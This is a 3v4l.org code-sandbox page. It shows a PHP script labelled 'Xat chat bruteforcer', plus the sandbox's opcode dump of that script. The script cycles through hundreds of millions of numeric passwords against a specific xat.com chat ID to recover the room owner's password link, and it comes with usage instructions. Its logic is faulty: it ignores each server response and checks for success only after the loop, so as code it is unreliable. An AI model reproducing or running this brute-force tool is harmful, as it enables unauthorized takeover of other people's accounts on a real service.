3v4l.org

run code in 300+ PHP versions simultaneously
<?php ini_set('max_execution_time', 0); //Xat chat bruteforcer by Lance //Make a txt file called "log" //Change the $chatID var to suite your needs //Run in PHP(CLI) //Will write to log.txt once its found the main owner link. $chatID = "136754234"; for($i=100000000;$i<999999999;$i++){ $file = "http://xat.com/web_gear/chat.php?id=".$chatID."&pw=".$i; file_get_contents($file); echo $file."\n"; } if (strpos($file,$chatID)){ $log = "log.txt"; file_put_contents($log, "chatID: ".$chatID."\nchatPWLink: ".$i."\n\n\n"); file_put_contents($log, "http://xat.com/web_gear/chat.php?id=".$chatID."&pw=".$i); die("\nPW FOUND"); } ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 17
Branch analysis from position: 17
2 jumps found. (Code = 44) Position 1 = 19, Position 2 = 7
Branch analysis from position: 19
2 jumps found. (Code = 43) Position 1 = 24, Position 2 = 41
Branch analysis from position: 24
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 41
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 7
2 jumps found. (Code = 44) Position 1 = 19, Position 2 = 7
Branch analysis from position: 19
Branch analysis from position: 7
filename:       /in/3bVpK
function name:  (null)
number of ops:  42
compiled vars:  !0 = $chatID, !1 = $i, !2 = $file, !3 = $log
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   INIT_FCALL                                               'ini_set'
          1        SEND_VAL                                                 'max_execution_time'
          2        SEND_VAL                                                 0
          3        DO_ICALL                                                 
    9     4        ASSIGN                                                   !0, '136754234'
   10     5        ASSIGN                                                   !1, 100000000
          6      > JMP                                                      ->17
   11     7    >   CONCAT                                           ~7      'http%3A%2F%2Fxat.com%2Fweb_gear%2Fchat.php%3Fid%3D', !0
          8        CONCAT                                           ~8      ~7, '%26pw%3D'
          9        CONCAT                                           ~9      ~8, !1
         10        ASSIGN                                                   !2, ~9
   12    11        INIT_FCALL                                               'file_get_contents'
         12        SEND_VAR                                                 !2
         13        DO_ICALL                                                 
   13    14        CONCAT                                           ~12     !2, '%0A'
         15        ECHO                                                     ~12
   10    16        PRE_INC                                                  !1
         17    >   IS_SMALLER                                               !1, 999999999
         18      > JMPNZ                                                    ~14, ->7
   15    19    >   INIT_FCALL                                               'strpos'
         20        SEND_VAR                                                 !2
         21        SEND_VAR                                                 !0
         22        DO_ICALL                                         $15     
         23      > JMPZ                                                     $15, ->41
   16    24    >   ASSIGN                                                   !3, 'log.txt'
   17    25        INIT_FCALL                                               'file_put_contents'
         26        SEND_VAR                                                 !3
         27        CONCAT                                           ~17     'chatID%3A+', !0
         28        CONCAT                                           ~18     ~17, '%0AchatPWLink%3A+'
         29        CONCAT                                           ~19     ~18, !1
         30        CONCAT                                           ~20     ~19, '%0A%0A%0A'
         31        SEND_VAL                                                 ~20
         32        DO_ICALL                                                 
   18    33        INIT_FCALL                                               'file_put_contents'
         34        SEND_VAR                                                 !3
         35        CONCAT                                           ~22     'http%3A%2F%2Fxat.com%2Fweb_gear%2Fchat.php%3Fid%3D', !0
         36        CONCAT                                           ~23     ~22, '%26pw%3D'
         37        CONCAT                                           ~24     ~23, !1
         38        SEND_VAL                                                 ~24
         39        DO_ICALL                                                 
   19    40      > EXIT                                                     '%0APW+FOUND'
   21    41    > > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
192.22 ms | 1404 KiB | 21 Q